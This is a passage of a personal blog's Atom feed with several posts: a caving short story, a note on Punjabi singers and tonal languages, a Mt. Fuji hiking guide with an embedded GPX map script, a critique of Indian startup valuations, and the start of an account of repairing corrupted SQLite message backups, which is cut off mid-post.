type="html"><![CDATA[<blockquote>Explore the thrill of real-world cave exploration at California&rsquo;s Lava Bed National Monument, facing nature&rsquo;s challenges beyond the safety of tourist attractions.</blockquote><p>I crawled through the 2 by 2 feet hole.
I checked the map again.
If the map is right then in about 30 ft, this passage should open into a big enough chamber for me to walk out of this aptly named Labyrinth cave.
My elbows were bruised.
So were my knees.
And then a small stalactite scratched my forehead.
That&rsquo;s when time stopped for me.I decided to lie down.
100s of small thorny stones were pinching me.
I was calm.
I looked around.
A video feed of this would have been claustrophobic for the viewers, but I felt nothing.
At least not till my forehead got scratched.</p>
<p>Real-world has real risks that the artificial world does not subject us to.
Water parks don&rsquo;t have whirlpools; waterfalls do.
People don&rsquo;t fall off the cliff and die while climbing on a gym escalator; in real hikes, 100s die every year.
Sailing a boat has a real risk of capsizing; it&rsquo;s rare for cruise ships.

<a href="/travel/lava-beds-national-monument/">California&rsquo;s Lava Bed National Monument</a>, where I was hiking, is real.
Unlike the touristy cave of 
<a href="/travel/carlsbad-cavern/">Carlsbad National Park</a>, there are no emergency call boxes here.
No cell signal. No park rangers. I&rsquo;m 30 ft below the surface. With limited food and water.
Apart from my car parked near the entrance, there is no proof that I&rsquo;m even here.</p>
<p>30 minutes later, &ldquo;Veggie Delight; no cheese, all veggies; mustard and vinegar on top&rdquo;, I said to the Subway Artist™.
I was back in the cozy artificial world.</p>
]]></content><category scheme="https://ashishb.net/category/short-stories" term="short-stories" label="short-stories"/></entry><entry><title type="html">The science behind Punjabi singers</title><link href="https://ashishb.net/misc/punjabi-singers/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/misc/statistical-outcomes-require-statistical-games/?utm_source=atom_feed" rel="related" type="text/html" title="Statistical outcomes require statistical games"/><link href="https://ashishb.net/misc/status-symbol/?utm_source=atom_feed" rel="related" type="text/html" title="Status Symbol"/><link href="https://ashishb.net/misc/capitalism-achilles-heel/?utm_source=atom_feed" rel="related" type="text/html" title="The Achilles heel of American capitalism"/><link href="https://ashishb.net/misc/sometimes-the-middle-ground-is-most-empowering/?utm_source=atom_feed" rel="related" type="text/html" title="Sometimes the middle ground is most empowering"/><link href="https://ashishb.net/misc/indians-and-food/?utm_source=atom_feed" rel="related" type="text/html" title="Indians and food"/><id>https://ashishb.net/misc/punjabi-singers/</id><author><name>Ashish Bhatia</name></author><published>2024-10-26T08:00:27+00:00</published><updated>2024-10-26T08:00:27+00:00</updated><content type="html"><![CDATA[<blockquote>Discover why Punjab produces so many talented singers. Explore the unique connection between the tonal Punjabi language and the development of perfect pitch.</blockquote><p>Why does Punjab produce so many singers?
Even from the nearby Haryana, New Delhi, or Uttar Pradesh, the best singers usually sing in Punjabi.
So, why are so many good singers Punjabi speaking?</p>
<p>Well, there is an answer.</p>
<p>A perfect pitch is the ability to   
    
    
<a href="https://www.nytimes.com/1999/11/05/us/study-links-perfect-pitch-to-tonal-language.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">discern</a> sounds that are close (within 6%) in frequencies.<br>
Having a more perfect pitch makes you better at singing.<br>
  
    
    
<a href="https://www.sciencedaily.com/releases/2009/05/090519172202.htm?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Learning</a> a tonal language makes you better at perfect pitch.<br>
And Punjabi is the   
    
    
<a href="https://www.discovermagazine.com/mind/the-scientific-reason-singers-have-a-knack-for-language?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">only tonal language</a> of India!</p>
]]></content><category scheme="https://ashishb.net/category/misc" term="misc" label="misc"/></entry><entry><title type="html">Hiking Mt. Fuji</title><link href="https://ashishb.net/travel/hiking-mt-fuji/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/travel/kyoto-japan/?utm_source=atom_feed" rel="related" type="text/html" title="Kyoto in three days"/><link href="https://ashishb.net/travel/tokyo-japan/?utm_source=atom_feed" rel="related" type="text/html" title="Tokyo in three days"/><link href="https://ashishb.net/travel/sri-lanka/?utm_source=atom_feed" rel="related" type="text/html" title="Sri Lanka in 5 days"/><link href="https://ashishb.net/travel/singapore/?utm_source=atom_feed" rel="related" type="text/html" title="Singapore in 4 days"/><link href="https://ashishb.net/travel/royal-caribbean-cruise-in-singapore/?utm_source=atom_feed" rel="related" type="text/html" title="Royal Caribbean cruise in Singapore"/><id>https://ashishb.net/travel/hiking-mt-fuji/</id><author><name>Ashish Bhatia</name></author><published>2024-10-19T16:00:35+00:00</published><updated>2024-10-19T16:00:35+00:00</updated><content type="html"><![CDATA[<blockquote>Conquer the scenic Mt. Fuji with an 8-mile hike from the 5th station. Perfect for a day trip from Tokyo, offering stunning views and a rewarding challenge!</blockquote><p>Mt. Fuji is a tough but gorgeous hike.
It is much shorter than 
<a href="/travel/grand-canyon/">Grand Canyon</a> or 
<a href="/travel/mt-whitney/">Mt. Whitney</a> and can be done on a day trip.</p>
<p>The shortest way to hike Mt. Fuji is to start from the 5th station.
I would recommend taking a 2400-yen 
<a href="/travel/public-transport-guide/">bus</a> from Tokyo to Kawaguchiko and staying there at night.
In the morning, you can start the hike from the   
    
    
<a href="https://www.japan-guide.com/e/e6922.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">5th station</a>.
That&rsquo;s the furthest one can access via bus.
It is about an 8-mile round trip hike with a ~4800 ft elevation gain.
So, unless you have done strenuous hikes before, don&rsquo;t attempt it.</p>
<figure>
    
    <a href="mt-fuji-top-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="mt-fuji-top-1024x768.jpg"
         alt="Mt. Fuji" width="900"/> </a>
</figure>

<figure>
    
    <a href="mt-fuji-way-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="mt-fuji-way-1024x768.jpg"
         alt="Mt. Fuji" width="900"/> </a>
</figure>

<p>If we had stayed longer, we would have visited   
    
    
<a href="https://en.wikipedia.org/wiki/Aokigahara?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">the suicide forest</a> and   
    
    
<a href="https://www.japan-guide.com/e/e6911.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">caves</a> in the vicinity.</p>


<link rel="stylesheet" href="/gpx-shortcode/leaflet/leaflet.css" crossorigin="" />
<link rel="stylesheet" href="/gpx-shortcode/style.css" />
<link rel="stylesheet" href="/gpx-shortcode/leaflet-distance-marker.css" />
<script src="/gpx-shortcode/leaflet/leaflet.js"></script>
<script src="/gpx-shortcode/leaflet.geometryutil.js"></script>
<script src="/gpx-shortcode/leaflet-distance-marker.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/leaflet-gpx/1.7.0/gpx.min.js"></script>


<section id="container" class="gpx">
  <div class="map" id="map-"></div>
  <footer>
    
    
    
      <ul class="info">
        <li><input type="checkbox" checked class="tracks" track-id="0"/></li>
        <li style="color:blue">&#9632;</li>
        
        <li></li>
        <li class="start-mt-fuji-track.gpx"></li>
        <li class="distance-mt-fuji-track.gpx"></li>
        <li class="duration-mt-fuji-track.gpx"></li>
        <li class="elevation-mt-fuji-track.gpx"></li>
        <li><a href="mt-fuji-track.gpx">Download</a></li>
      </ul>
    
  </footer>
</section>

<script>
  var urls = new Array("mt-fuji-track.gpx",)
  var mapid = "map-";
  var container = document.getElementById("container");
  var colors = ["blue","darkblue","purple"];
  var layers = new Array();
    
  
  var map = L.map(mapid, { fullscreenControl: true, scrollWheelZoom: false });
  
  
  
  
  
  
  
  
  createLayer("https://{s}.tile.openstreetmap.org/{z}/{x}/{y}.png", "© \u003ca href=\"https://www.openstreetmap.org/copyright\"\u003eOpenStreetMap\u003c/a\u003e contributors",  1 ,  20 ,  null ,  null ).addTo(map);
  

  var control = L.control.layers(null, null).addTo(map);
  var bounds = null;
  urls.forEach(function(url, index) {
    addTrack(urls[index], index, map);
  });
  
  
  document.addEventListener("DOMContentLoaded", function(){
    
    
    Array.from(document.getElementsByClassName("location")).forEach(addMarker);
    
    
    document.querySelectorAll(".tracks").forEach(function(item) {
      item.checked = true;
    });
  });
  
  
  document.querySelectorAll(".tracks").forEach(function(item) {
    item.addEventListener("click", function() {
      var id = this.getAttribute("track-id");
      if (event.currentTarget.checked) {
        showTrack(id);
      } else {
        hideTrack(id);
      }
    })
  });
  
  
  function addTrack(url, index, map) {
    layers[index]=new L.GPX(url, {
      gpx_options: {
        joinTrackSegments: false
      },
      async: true,
      marker_options: {
        startIconUrl: "/gpx-shortcode/pin-icon-start.png",
        endIconUrl: "/gpx-shortcode/pin-icon-end.png",
        shadowUrl: "/gpx-shortcode/pin-shadow.png",
      },
      
      polyline_options: {color: colors[index % colors.length], distanceMarkers: true, smoothFactor: 0.5 }
    }).on("loaded", function(e) {
      var gpx = e.target;
      if (bounds === null) {
        bounds = gpx.getBounds();
      }
      else
      {
        bounds.extend(gpx.getBounds());
      }
      map.fitBounds(bounds);
      control.addOverlay(gpx, gpx.get_name());
      addMetadata(gpx, url);
    });
    layers[index].addTo(map);
  }
  
  function showTrack(id) {
    layers[id].addTo(map);
  }
  
  function hideTrack(id) {
    layers[id].removeFrom(map);
  }
  
  
  function createLayer(url, attribution, minZoom, maxZoom, bounds, inverseBounds) {
    var layer = L.tileLayer(url, { attribution: attribution, minZoom: minZoom, maxZoom: maxZoom});
    if (bounds != null) {
      
      layer.options.bounds = new L.LatLngBounds(
        new L.LatLng(bounds[0], bounds[1]),
        new L.LatLng(bounds[2], bounds[3]));
    }
    if (inverseBounds != null) {
      layer.options.inverseBounds = new L.LatLngBounds(
        new L.LatLng(inverseBounds[0], inverseBounds[1]),
        new L.LatLng(inverseBounds[2], inverseBounds[3]));
    }
    return layer;
  }

  
  function addMarker(link) {
    lat = link.getAttribute("lat");
    lon = link.getAttribute("lon");
    text = link.textContent;
    name = link.getAttribute("name");
    title = (name != "") ? name : text;
    url = link.getAttribute("link");
    if (url != "")
    {
      title = "<a target=\"_blank\" href=\"" + url + "\">" + title + "</a>";
    }
    marker = L.marker([lat, lon]).addTo(map);
    marker.bindPopup(title).openPopup();
  }
  
  
  function addMetadata(gpx, url) {
    var date = gpx.get_start_time();
    var datestring = date.getFullYear() + "-" + (date.getMonth()+1).toString().padStart(2, "0") + "-" + date.getDate().toString().padStart(2, "0")  + " " + date.getHours().toString().padStart(2, "0") + ":" + date.getMinutes().toString().padStart(2, "0");
    _c("start-" + url).textContent = (date > 0) ? datestring : "";
    _c("distance-" + url).textContent = "Distance: " + (gpx.get_distance() / 1000).toFixed(2) + " km";
    var duration = gpx.get_moving_time();
    _c("duration-" + url).textContent = (duration > 0) ? "Duration: " + gpx.get_duration_string(duration) : "";
    _c("elevation-"+ url).textContent = `Elevation: ${gpx.get_elevation_gain().toFixed(0)} m, -${gpx.get_elevation_loss().toFixed(0)} m, net:  ${(gpx.get_elevation_gain() - gpx.get_elevation_loss()).toFixed(0)}  m`;
  }
  
  
  function _c(c) {
    return container.getElementsByClassName(c)[0];
  }
</script>

<p>I, instead, returned to 
<a href="/travel/tokyo-japan/">Tokyo</a> and took an overnight bus to 
<a href="/travel/kyoto-japan/">Kyoto</a>.</p>
<p>Some people use bullet trains for the Tokyo to Kyoto journey. The biggest problem with the bullet train is the timing.
I would recommend against taking the bullet train (JR) in the evening.
The last one from Tokyo to Kyoto is around 7 PM. Further, most 
<a href="/travel/hotels-vs-airbnb-vs-hostels/">hotels</a> in Japan don&rsquo;t allow check-in after 9 PM.
So, planning this is a bigger hassle. I would instead recommend taking an overnight bus instead.
So that, you reach early morning, in time for your next walking tour.</p>
]]></content><category scheme="https://ashishb.net/category/travel" term="travel" label="travel"/><category scheme="https://ashishb.net/tag/hiking" term="hiking" label="hiking"/><category scheme="https://ashishb.net/tag/japan" term="japan" label="japan"/><category scheme="https://ashishb.net/tag/asia" term="asia" label="asia"/></entry><entry><title type="html">The Indian startup bubble is insane</title><link href="https://ashishb.net/tech/indian-startup-bubble/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/tech/fundraising-rounds-then-and-now/?utm_source=atom_feed" rel="related" type="text/html" title="Fundraising rounds then and now"/><link href="https://ashishb.net/tech/startup-founders-how-not-to-write-an-email/?utm_source=atom_feed" rel="related" type="text/html" title="Startup founders: How not to write an email"/><link href="https://ashishb.net/tech/towards-a-broken-future-of-internet/?utm_source=atom_feed" rel="related" type="text/html" title="Towards a broken future of Internet"/><link href="https://ashishb.net/tech/a-fundamental-problem-with-aakash-indian-government-tablet-initiative/?utm_source=atom_feed" rel="related" type="text/html" title="Questioning Aakash - Indian Government tablet initiative"/><link href="https://ashishb.net/tech/random-thoughts-goals-and-company-types-in-tech-world/?utm_source=atom_feed" rel="related" type="text/html" title="Random thoughts: goals and company types in tech world"/><id>https://ashishb.net/tech/indian-startup-bubble/</id><author><name>Ashish Bhatia</name></author><published>2024-10-12T17:00:00+00:00</published><updated>2024-10-12T17:00:00+00:00</updated><content type="html"><![CDATA[<blockquote>Explore India&rsquo;s booming startup scene with Postman, Sharechat, and Oyo! Discover valuations, investments, and market challenges facing these tech unicorns.</blockquote><figure>
    
    <a href="postman-logo.png" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="postman-logo.png"
         alt="Postman logo" height="100"/> </a>
</figure>

<p>Bengaluru-based   
    
    
<a href="https://postman.com?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Postman</a>, a API management product, has raised a total of   
    
    
<a href="https://techcrunch.com/2021/08/18/api-platform-postman-valued-at-5-6-billion-in-225-million-fundraise/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">$433 million</a> valuing it at ~$5.6B. Its revenue was   
    
    
<a href="https://getlatka.com/companies/postman?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">$171M</a> in 2023. As a comparison, Rubrik with ~  
    
    
<a href="https://blocksandfiles.com/2024/06/17/rubrik-grows-revenues-with-monster-loss-spends-big-to-grow-more/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">$850M ARR</a> is valued at $6B or about 7 times its revenue. The same metric would put Postman&rsquo;s valuation at $1.2B. I would argue further that Postman has much lower stickiness and will face higher churn and hence, the revenue multiple would be lower for Postman.</p>
<figure>
    
    <a href="sharechat-logo.png" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="sharechat-logo.png"
         alt="Sharechat logo" height="100"/> </a>
</figure>

<p>  
    
    
<a href="https://sharechat.com?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Sharechat</a>, a startup that can be thought of as WhatsApp public groups. It has raised   
    
    
<a href="https://techcrunch.com/2024/04/14/sharechats-valuation-drops-below-2-billion-in-new-funding?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">$1.3B</a> that&rsquo;s more than what Google (  
    
    
<a href="https://www.crunchbase.com/organization/google/company_financials?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">$26M</a>), Facebook (  
    
    
<a href="https://eqvista.com/facebook-initial-public-offering-all-you-need-to-know?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">$300M</a>), WhatsApp (  
    
    
<a href="https://techcrunch.com/2014/02/21/whatsapp/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">$60M</a>), and Twitter(  
    
    
<a href="https://pitchbook.com/news/articles/a-brief-history-of-twitters-valuation?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">$350M</a>) raised in the private markets combined! The only social media company that raised   
    
    
<a href="https://finance.yahoo.com/news/snapchat-raises-1-81-billion-104713195.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">more</a> was Snap and given its stock performance since IPO, it isn&rsquo;t a great company to compare with.</p>
<figure>
    
    <a href="oyo-logo.png" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="oyo-logo.png"
         alt="Oyo logo" height="100"/> </a>
</figure>

<p>Then there is   
    
    
<a href="https://oyorooms.com?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Oyo</a>, the booking.com of India, whose founder has shown
  
    
    
<a href="https://www.livemint.com/Companies/7CN7u5d4i3bfYgBAZLdLpM/Will-the-real-Ritesh-Agarwal-please-stand-up.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">dubious character</a>.
It has raised   
    
    
<a href="https://tracxn.com/d/companies/oyo/__4WYOfbQ8dZW1qkRczPYOvhjiKi-yVahNF_FWeMXP0tk/funding-and-investors?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">$3.4B</a>
in private funding and is currently valued at   
    
    
<a href="https://skift.com/2024/08/12/oyo-raises-175-million-in-latest-funding-round-valuation-sinks-to-2-4-billion/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">$2.4 billion</a>. In a weird style of self-dealing, its investor, Softbank lend money to Oyo&rsquo;s founder to invest in a new round of   
    
    
<a href="https://thearcweb.com/article/ritesh-agarwal-oyo-softbank-patient-shark-tank-oxObUVuPjb547wbG?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Oyo</a>! Oyo&rsquo;s revenue is about   
    
    
<a href="https://entrackr.com/2024/08/unpacking-oyo-profitability-and-its-financial-position-in-fy24?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">$60M</a> giving a revenue multiple of 40. Booking.com&rsquo;s   
    
    
<a href="https://finance.yahoo.com/quote/BKNG/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">revenue multiple</a> is 6. Even using the same revenue multiple for Oyo, would puts its valuation at $360M!</p>
<p>There are great companies in India like Zoho and Freshworks, however, the frothiness is insane.</p>
]]></content><category scheme="https://ashishb.net/category/tech-thoughts" term="tech-thoughts" label="tech-thoughts"/><category scheme="https://ashishb.net/tag/startups" term="startups" label="startups"/><category scheme="https://ashishb.net/tag/india" term="india" label="india"/></entry><entry><title type="html">Repairing database on the fly for millions of users</title><link href="https://ashishb.net/programming/repair-database-on-mobile-device/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/programming/android-stale-views/?utm_source=atom_feed" rel="related" type="text/html" title="Android: Don't use stale views"/><link href="https://ashishb.net/programming/google-cloud/?utm_source=atom_feed" rel="related" type="text/html" title="It is hard to recommend Google Cloud"/><link href="https://ashishb.net/programming/use-makefile-for-android/?utm_source=atom_feed" rel="related" type="text/html" title="Use Makefile for Android"/><link href="https://ashishb.net/programming/android-navigation-up-vs-back/?utm_source=atom_feed" rel="related" type="text/html" title="Android Navigation: Up vs Back"/><link href="https://ashishb.net/programming/abstractions-should-be-deep-not-wide/?utm_source=atom_feed" rel="related" type="text/html" title="Abstractions should be deep not wide"/><id>https://ashishb.net/programming/repair-database-on-mobile-device/</id><author><name>Ashish Bhatia</name></author><published>2024-10-05T00:20:00-07:00</published><updated>2024-10-05T00:20:00-07:00</updated><content type="html"><![CDATA[<blockquote>Discover how a messaging app restored users&rsquo; messages, resolving database corruption using SQLite shell and innovative recovery strategies, enhancing user privacy and trust.</blockquote><p>This is a story of a messaging app used by billions of users.</p>
<p>The app followed an extremely strong model of privacy.
The app never persisted the user&rsquo;s data on the servers.
All the communication is end-to-end encrypted.</p>
<p>A lot of users of this app, especially, on Android would regularly uninstall and reinstall the app.
Now, to prevent these users from losing messages, the messages were backed up to the user&rsquo;s SD card.
In the Android security model, an SD card is a   
    
    
<a href="https://www.reddit.com/r/Android/comments/496sn3/lets_clear_up_the_confusion_regarding_storage_in/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">public storage space</a>, accessible to all apps.
So, to keep messages private, the backups were encrypted.</p>
<p>Now, suddenly, there was a spike in complaints from users about the app failing to restore their messages.
While we had some internal metrics to confirm this, there was no way to debug what happened without access to
some samples for reproduction.
For a messaging app user, especially ours, messages were memories.
Losing messages was losing valuable memories.</p>
<p>We reached out to the users for sample backups to reproduce the problems.
And a few replied.
All samples were cryptographically fine.</p>
<p>The SQLite database in the backup, however, was broken.
They would neither load via Sqlite on Android nor via any Sqlite browser on Mac OS.
However, one could open them up in   
    
    
<a href="https://www.sqlite.org/cli.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">SQLite Shell</a>.
And as long as the queries don&rsquo;t try to touch the broken row, they would succeed as well.
Even aggregate queries like <code>SELECT COUNT(*)</code> worked.</p>
<p>In one case, primary key constraints were being violated.
In a few other cases, there were incorrect Unicode characters.
While I tried to dig in, I was not able to find a reason for these.
The low-end Android phones are a 
<a href="/tech/architecting-android-apps-for-emerging-markets/">weird beast</a>.
I saw enough memory faults regularly that these database corruptions didn&rsquo;t surprise me either.</p>
<p>But how do we find and eliminate such corrupted entries programmatically?</p>
<h2 id="rtfm---read-the-full-manual">RTFM - Read the full manual</h2>
<p>I kept reading the   
    
    
<a href="https://www.sqlite.org/cli.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">SQLite Shell</a> manual again and again.
Till I realized that I could, in principle, dump the SQLite database into a sequence of SQL commands that faithfully reproduces the database.</p>
<p>The dump looked like this.</p>
<div>
    <style>
        .window {
            border-radius: 10px;
            margin-top: 10px;
            margin-bottom: 10px;
            min-width: 300px;
            box-shadow: 0 0 20px rgba(0, 0, 0, 0.5);
             
             
            background-color: #002b36;
            overflow: hidden;
        }

        .title-bar {
             
             
             
            background-color: #002b36;
            height: 28px;
            display: flex;
            align-items: center;
            padding: 0 12px;
            position: relative;
        }

        .title-bar .buttons {
            display: flex;
            gap: 8px;
        }

        .title-bar .button {
            width: 12px;
            height: 12px;
            border-radius: 50%;
            display: inline-block;
            position: relative;
            opacity: 0.9;
            transition: opacity 0.3s ease;
        }

        .title-bar .button:hover {
            opacity: 1;
        }

        .title-text {
            text-align:center;
            width: 80%;
            opacity:0.2;
        }

        .button {
            margin: 0;
        }

        .button.close {
            background-color: #ff5f57;
        }

        .button.minimize {
            background-color: #ffbd2e;
        }

        .button.maximize {
            background-color: #28c940;
        }

        .button::before {
            content: '';
            position: absolute;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            opacity: 0;
            transition: opacity 0.3s ease;
        }

        .button:hover::before {
            opacity: 1;
        }

        .button.close::before {
            content: '×';
            font-size: 14px;
            color: #4c0102;
        }

        .button.minimize::before {
            content: '−';
            font-size: 14px;
            color: #5a4001;
        }

        .button.maximize::before {
            content: '+';
            font-size: 14px;
            color: #0b4201;
        }
    </style>

    <script>

    function hideContent(minimizeButton) {
        getContent(minimizeButton).style.display = "None";
    }

    function showContent(maximizeButton) {
        getContent(maximizeButton).style.display = "block";
    }

    function removeCode(closeButton) {
        closeButton.parentNode.parentNode.parentNode.remove();
    }

    function getContent(btn) {
        return btn.parentNode.parentNode.parentNode.getElementsByClassName("content")[0];
    }


    </script>

    <div class="window">
        <div class="title-bar">
            <div class="buttons" style="min-width: 50px;">
                <span class="button close" onclick="removeCode(this)"></span>
                <span class="button minimize" onclick="hideContent(this)"></span>
                <span class="button maximize" onclick="showContent(this)"></span>
            </div>
            <div class="title-text">
                SQL
            </div>
        </div>
        <div class="content">
            
            <div class="highlight"><div style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">1
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">2
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">3
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">4
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">5
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-SQL" data-lang="SQL"><span style="display:flex;"><span><span style="color:#719e07">BEGIN</span> <span style="color:#719e07">TRANSACTION</span>
</span></span><span style="display:flex;"><span><span style="color:#719e07">CREATE</span> <span style="color:#719e07">TABLE</span> ...
</span></span><span style="display:flex;"><span><span style="color:#719e07">INSERT</span> <span style="color:#719e07">INTO</span> ...
</span></span><span style="display:flex;"><span>... (<span style="color:#2aa198">100</span>,<span style="color:#2aa198">000</span><span style="color:#719e07">-</span><span style="color:#2aa198">1</span>,<span style="color:#2aa198">000</span>,<span style="color:#2aa198">000</span> <span style="color:#719e07">rows</span>)
</span></span><span style="display:flex;"><span><span style="color:#719e07">END</span> <span style="color:#719e07">TRANSACTION</span></span></span></code></pre></td></tr></table>
</div>
</div>
        </div>
    </div>
</div><p>And this dump worked even for those broken databases!</p>
<p>We decided that losing a few bad messages to recover everything else would be an acceptable trade-off.
But how?</p>
<p>What if I could identify bad rows and remove them?
The user&rsquo;s messages contain newlines, so, I cannot neatly separate out those commands.
And since everything was in a transaction, it was rolled back as soon as the first error occurred.</p>
<p>As I kept digging into the manual, I found</p>
<div>
    <style>
        .window {
            border-radius: 10px;
            margin-top: 10px;
            margin-bottom: 10px;
            min-width: 300px;
            box-shadow: 0 0 20px rgba(0, 0, 0, 0.5);
             
             
            background-color: #002b36;
            overflow: hidden;
        }

        .title-bar {
             
             
             
            background-color: #002b36;
            height: 28px;
            display: flex;
            align-items: center;
            padding: 0 12px;
            position: relative;
        }

        .title-bar .buttons {
            display: flex;
            gap: 8px;
        }

        .title-bar .button {
            width: 12px;
            height: 12px;
            border-radius: 50%;
            display: inline-block;
            position: relative;
            opacity: 0.9;
            transition: opacity 0.3s ease;
        }

        .title-bar .button:hover {
            opacity: 1;
        }

        .title-text {
            text-align:center;
            width: 80%;
            opacity:0.2;
        }

        .button {
            margin: 0;
        }

        .button.close {
            background-color: #ff5f57;
        }

        .button.minimize {
            background-color: #ffbd2e;
        }

        .button.maximize {
            background-color: #28c940;
        }

        .button::before {
            content: '';
            position: absolute;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            opacity: 0;
            transition: opacity 0.3s ease;
        }

        .button:hover::before {
            opacity: 1;
        }

        .button.close::before {
            content: '×';
            font-size: 14px;
            color: #4c0102;
        }

        .button.minimize::before {
            content: '−';
            font-size: 14px;
            color: #5a4001;
        }

        .button.maximize::before {
            content: '+';
            font-size: 14px;
            color: #0b4201;
        }
    </style>

    <script>

    function hideContent(minimizeButton) {
        getContent(minimizeButton).style.display = "None";
    }

    function showContent(maximizeButton) {
        getContent(maximizeButton).style.display = "block";
    }

    function removeCode(closeButton) {
        closeButton.parentNode.parentNode.parentNode.remove();
    }

    function getContent(btn) {
        return btn.parentNode.parentNode.parentNode.getElementsByClassName("content")[0];
    }


    </script>

    <div class="window">
        <div class="title-bar">
            <div class="buttons" style="min-width: 50px;">
                <span class="button close" onclick="removeCode(this)"></span>
                <span class="button minimize" onclick="hideContent(this)"></span>
                <span class="button maximize" onclick="showContent(this)"></span>
            </div>
            <div class="title-text">
                SQL
            </div>
        </div>
        <div class="content">
            
            <div class="highlight"><div style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">1
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">2
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-SQL" data-lang="SQL"><span style="display:flex;"><span><span style="color:#586e75">-- The .bail off command tells SQLite to continue executing statements even if errors occur
</span></span></span><span style="display:flex;"><span><span style="color:#586e75"></span>.bail <span style="color:#719e07">off</span></span></span></code></pre></td></tr></table>
</div>
</div>
        </div>
    </div>
</div><p>Voila!</p>
<h2 id="fix">Fix</h2>
<p>The final process looked something like this.
The user goes into the normal database restore and if it fails, we fall to the following.</p>
<div>
    <style>
        .window {
            border-radius: 10px;
            margin-top: 10px;
            margin-bottom: 10px;
            min-width: 300px;
            box-shadow: 0 0 20px rgba(0, 0, 0, 0.5);
             
             
            background-color: #002b36;
            overflow: hidden;
        }

        .title-bar {
